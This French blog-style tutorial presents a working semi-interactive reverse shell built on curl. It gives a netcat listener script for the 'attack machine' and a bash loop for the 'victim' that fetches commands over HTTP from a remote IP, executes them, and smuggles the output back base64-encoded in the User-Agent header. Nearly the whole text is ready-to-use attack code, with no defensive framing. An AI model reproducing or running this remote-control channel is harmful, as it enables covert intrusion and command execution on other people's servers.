Construction d'un reverse shell semi-interactif avec curl

Table des matières :

Introduction

Il y a quelques temps, je présentais un article sur la contruction d’un reverse shell basé sur wget qui m’a été très utile pour exploiter un très vieux serveur. Dans cet article, je vous présente la version curl de ce reverse shell, impliquant quelques petits changments. Les concepts de base de ce type de reverse shell sont expliqués plus en détail dans l’article contruction d’un reverse shell basé sur wget. Dans cet article je détaillerai principalement les changements nécessaires pour adapter le reverse shell à curl.

Listenner sur la machine d’attaque

Vous devez lancer ce listenner sur votre machine d’attaque. Lorsque vous enverrez la payload sur la machine cible, elle se connectera à vous et vous obtiendrez un shell semi-interactif grâce à ce script.

#!/usr/bin/env bash

CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081

#===============================================================================

log()  { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}";  }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }

remote_exec(){
    local CMD="${1}"
    echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
    RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
    echo "${RESULT}"
}

wait_for_connection(){
    log "Waiting for incomming curl connection ..."
    local challenge="$(cat /dev/urandom | xxd -p | head -c 16)"
    local challenge_solved="$(echo "${challenge}" | base64 -w0)"
    waiting=1
    while [[ ${waiting} == 1 ]]; do
        local response="$(remote_exec "echo ${challenge} | base64 -w0")"
        if [[ $(echo "${response}" | grep "${challenge_solved}" | wc -l) -ne 0 ]]; then
            log "Validated ! proof : base64(${challenge})==${response}"
            waiting=0
        else
            echo "${response}"
        fi
    done
    info "Connected ! (interactive shell incomming)"
}

get_sys_info(){
    echo ""
    echo " Hostname : $(remote_exec "hostname")"
    echo " Kernel   : $(remote_exec "uname -sr")"
    echo " Arch     : $(remote_exec "uname -p")"
    echo ""
}

#===============================================================================

wait_for_connection

# get_sys_info

PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    printf "${PROMPT}"; read
    if [[ "${REPLY}" == "exit" ]]; then
        echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
        RUNNING=0
    else
        echo "$(remote_exec "${REPLY}")"
    fi
done

Reverse shell sur la machine cible

Sur la machine victime, nous n’avons besoin que des binaires curl et base64, et de ce simple script bash:

#!/usr/bin/env bash

REV_IP='localhost'

CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081

#===============================================================================

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    CMD=$(curl -s "http://${REV_IP}:${CMD_RECV_PORT}" --raw --http0.9 2>/dev/null)
    if [[ ${CMD} != "" ]]; then
        if [[ ${CMD} == "exit" ]]; then
            RUNNING=0
        else
            sleep 0.125
            curl -s \
                "http://${REV_IP}:${CMD_REPLY_PORT}" \
                --raw --http0.9 \
                --user-agent "$(bash -c "${CMD}" 2>&1 | base64 -w0)"\
                2>/dev/null
        fi
    fi
done

Références